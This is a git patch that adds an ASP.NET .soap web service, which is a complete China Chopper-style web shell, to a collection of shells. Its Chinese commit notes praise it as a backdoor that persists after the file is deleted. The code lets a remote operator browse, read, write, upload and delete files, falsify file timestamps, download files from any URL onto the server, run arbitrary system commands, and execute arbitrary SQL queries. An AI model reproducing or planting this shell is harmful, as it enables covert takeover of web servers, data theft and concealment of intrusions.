From aa4698855755fab752e73a0b25af4f858ba23c59 Mon Sep 17 00:00:00 2001
From: tennc <tennc@users.noreply.github.com>
Date: Tue, 5 Apr 2016 12:42:19 +0800
Subject: [PATCH] Create Customize.soap
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

from : zone.wooyun.org
author : RedFree

1、.soap文件只有放在web根目录时才能顺利调用，放到子目录中会报错！
这个错误我并未解决，且待更深入的学习吧。。。
2、.soap调用一次后，即便把这个文件删除，方法依然存在且可调用，除非重启IIS！(很好的后门咩)
3、针对不同的.NET版本，以上代码有可能报错，可自行修改。
4、因无法搞定GET/POST传参的异常，如果要使用菜刀去连接，你需要写一个简单的中转脚本。
---
 caidao-shell/Customize.soap | 316 ++++++++++++++++++++++++++++++++++++
 1 file changed, 316 insertions(+)
 create mode 100644 caidao-shell/Customize.soap

diff --git a/caidao-shell/Customize.soap b/caidao-shell/Customize.soap
new file mode 100644
index 0000000..fe6e773
--- /dev/null
+++ b/caidao-shell/Customize.soap
@@ -0,0 +1,316 @@
+<%@ WebService Language="C#" Class="Control" %>
+using System;
+using System.Web;
+using System.IO;
+using System.Net;
+using System.Text;
+using System.Data;
+using System.Data.SqlClient;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Web.SessionState;
+using System.Web.Services;
+using System.Xml;
+using System.Web.Services.Protocols;
+
+[WebService(Namespace = "http://www.wooyun.org/whitehats/RedFree")]
+[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
+
+[Serializable]
+public class Control : MarshalByRefObject
+{
+    public Control()
+    {
+         
+    }
+    [WebMethod(Description="Customize Script")]
+    public string Chopper(String z, String z1, String z2, String z3) {
+        String Z = z;
+        String result = "";
+        if (Z != "")
+        {
+            String Z1 = z1;
+            String Z2 = z2;
+            String Z3 = z3;
+            String R = "";
+            try
+            {
+                switch (Z)
+                {
+                    case "A":
+                        {
+                            String[] c = Directory.GetLogicalDrives();
+                            R = String.Format("{0}\t", HttpContext.Current.Server.MapPath("/"));
+                            for (int i = 0; i < c.Length; i++)
+                                R += c[i][0] + ":";
+                            break;
+                        }
+                    case "B":
+                        {
+                            DirectoryInfo m = new DirectoryInfo(Z1);
+                            foreach (DirectoryInfo D in m.GetDirectories())
+                            {
+                                R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
+                            }
+                            foreach (FileInfo D in m.GetFiles())
+                            {
+                                R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
+                            }
+                            break;
+                        }
+                    case "C":
+                        {
+                            StreamReader m = new StreamReader(Z1, Encoding.Default);
+                            R = m.ReadToEnd();
+                            m.Close();
+                            break;
+                        }
+                    case "D":
+                        {
+                            StreamWriter m = new StreamWriter(Z1, false, Encoding.Default);
+                            m.Write(Z2);
+                            R = "1";
+                            m.Close();
+                            break;
+                        }
+                    case "E":
+                        {
+                            if (Directory.Exists(Z1))
+                            {
+                                Directory.Delete(Z1, true);
+                            }
+                            else
+                            {
+                                File.Delete(Z1);
+                            }
+                            R = "1";
+                            break;
+                        }
+                    case "F":
+                        {
+                            result += "\x2D\x3E\x7C";
+                            HttpContext.Current.Response.WriteFile(Z1);
+                            result += "\x7C\x3C\x2D";
+                            return result;
+                        }
+                    case "G":
+                        {
+                            byte[] B=new byte[Z2.Length/2];
+                            for (int i=0;i<Z2.Length;i+=2)
+                            {
+                                B[i/2]=(byte)Convert.ToInt32(Z2.Substring(i,2),16);
+                            }
+                            if (Z3=="0" || Z3==null)
+                            {
+                                FileStream fs=new FileStream(Z1,FileMode.Create);
+                                fs.Write(B,0,B.Length);
+                                fs.Close();
+                            }
+                            else
+                            {
+                                FileStream fs=new FileStream(Z1,FileMode.Append);
+                                fs.Write(B,0,B.Length);
+                                fs.Close();
+                            }
+                            R="1";
+                            break;
+                        }
+                    case "H":
+                        {
+                            CP(Z1, Z2);
+                            R = "1";
+                            break;
+                        }
+                    case "I":
+                        {
+                            if (Directory.Exists(Z1))
+                            {
+                                Directory.Move(Z1, Z2);
+                            }
+                            else
+                            {
+                                File.Move(Z1, Z2);
+                            }
+                            break;
+                        }
+                    case "J":
+                        {
+                            Directory.CreateDirectory(Z1);
+                            R = "1";
+                            break;
+                        }
+                    case "K":
+                        {
+                            DateTime TM = Convert.ToDateTime(Z2);
+                            if (Directory.Exists(Z1))
+                            {
+                                Directory.SetCreationTime(Z1, TM);
+                                Directory.SetLastWriteTime(Z1, TM);
+                                Directory.SetLastAccessTime(Z1, TM);
+                            }
+                            else
+                            {
+                                File.SetCreationTime(Z1, TM);
+                                File.SetLastWriteTime(Z1, TM);
+                                File.SetLastAccessTime(Z1, TM);
+                            }
+                            R = "1";
+                            break;
+                        }
+                    case "L":
+                        {
+                            HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1));
+                            RQ.Method = "GET";
+                            RQ.ContentType = "application/x-www-form-urlencoded";
+                            HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();
+                            Stream WF = WB.GetResponseStream();
+                            FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);
+                            int i;
+                            byte[] buffer = new byte[1024];
+                            while (true)
+                            {
+                                i = WF.Read(buffer, 0, buffer.Length);
+                                if (i < 1)
+                                {
+                                    break;
+                                }
+                                FS.Write(buffer, 0, i);
+                            }
+                            WF.Close();
+                            WB.Close();
+                            FS.Close();
+                            R = "1";
+                            break;
+                        }
+                    case "M":
+                        {
+                            ProcessStartInfo c = new ProcessStartInfo(Z1.Substring(2));
+                            Process e = new Process();
+                            StreamReader OT, ER;
+                            c.UseShellExecute = false;
+                            c.RedirectStandardOutput = true;
+                            c.RedirectStandardError = true;
+                            e.StartInfo = c;
+                            c.Arguments = String.Format("{0} {1}", Z1.Substring(0, 2), Z2);
+                            e.Start();
+                            OT = e.StandardOutput;
+                            ER = e.StandardError;
+                            e.Close();
+                            R = OT.ReadToEnd() + ER.ReadToEnd();
+                            break;
+                        }
+                    case "N":
+                        {
+                            String strDat = Z1.ToUpper();
+                            SqlConnection Conn = new SqlConnection(Z1);
+                            Conn.Open();
+                            R = Conn.Database + "\t";
+                            Conn.Close();
+                            break;
+                        }
+                    case "O":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n');
+                            String strConn = x[0], strDb = x[1];
+                            SqlConnection Conn = new SqlConnection(strConn);
+                            Conn.Open();
+                            DataTable dt = Conn.GetSchema("Columns");
+                            Conn.Close();
+                            for (int i = 0; i < dt.Rows.Count; i++)
+                            {
+                                R += String.Format("{0}\t", dt.Rows[i][2].ToString());
+                            }
+                            break;
+                        }
+                    case "P":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
+                            String strConn = x[0], strDb = x[1], strTable = x[2];
+                            p[0] = strDb;
+                            p[2] = strTable;
+                            SqlConnection Conn = new SqlConnection(strConn);
+                            Conn.Open();
+                            DataTable dt = Conn.GetSchema("Columns", p);
+                            Conn.Close();
+                            for (int i = 0; i < dt.Rows.Count; i++)
+                            {
+                                R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
+                            }
+                            break;
+                        }
+                    case "Q":
+                        {
+                            String[] x = Z1.Replace("\r", "").Split('\n');
+                            String strDat, strConn = x[0], strDb = x[1];
+                            int i, c;
+                            strDat = Z2.ToUpper();
+                            SqlConnection Conn = new SqlConnection(strConn);
+                            Conn.Open();
+                            if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
+                            {
+                                SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn);
+                                DataSet ds = new DataSet();
+                                OD.Fill(ds);
+                                if (ds.Tables.Count > 0)
+                                {
+                                    DataRowCollection rows = ds.Tables[0].Rows;
+                                    for (c = 0; c < ds.Tables[0].Columns.Count; c++)
+                                    {
+                                        R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
+                                    }
+                                    R += "\r\n";
+                                    for (i = 0; i < rows.Count; i++)
+                                    {
+                                        for (c = 0; c < ds.Tables[0].Columns.Count; c++)
+                                        {
+                                            R += String.Format("{0}\t|\t", rows[i][c].ToString());
+                                        }
+                                        R += "\r\n";
+                                    }
+                                }
+                                ds.Clear();
+                                ds.Dispose();
+                            }
+                            else
+                            {
+                                SqlCommand cm = Conn.CreateCommand();
+                                cm.CommandText = Z2;
+                                cm.ExecuteNonQuery();
+                                R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
+                            }
+                            Conn.Close();
+                            break;
+                        }
+                    default: goto End;
+                }
+            }
+            catch (Exception E)
+            {
+                R = "ERROR:// " + E.Message;
+            }
+            result += "\x2D\x3E\x7C" + R + "\x7C\x3C\x2D";
+        End: ;
+        }
+        return result;
+    }
+    public void CP(String S, String D)
+    {
+        if (Directory.Exists(S))
+        {
+            DirectoryInfo m = new DirectoryInfo(S);
+            Directory.CreateDirectory(D);
+            foreach (FileInfo F in m.GetFiles())
+            {
+                File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
+            }
+            foreach (DirectoryInfo F in m.GetDirectories())
+            {
+                CP(S + "\\" + F.Name, D + "\\" + F.Name);
+            }
+        }
+        else
+        {
+            File.Copy(S, D);
+        }
+    }
+}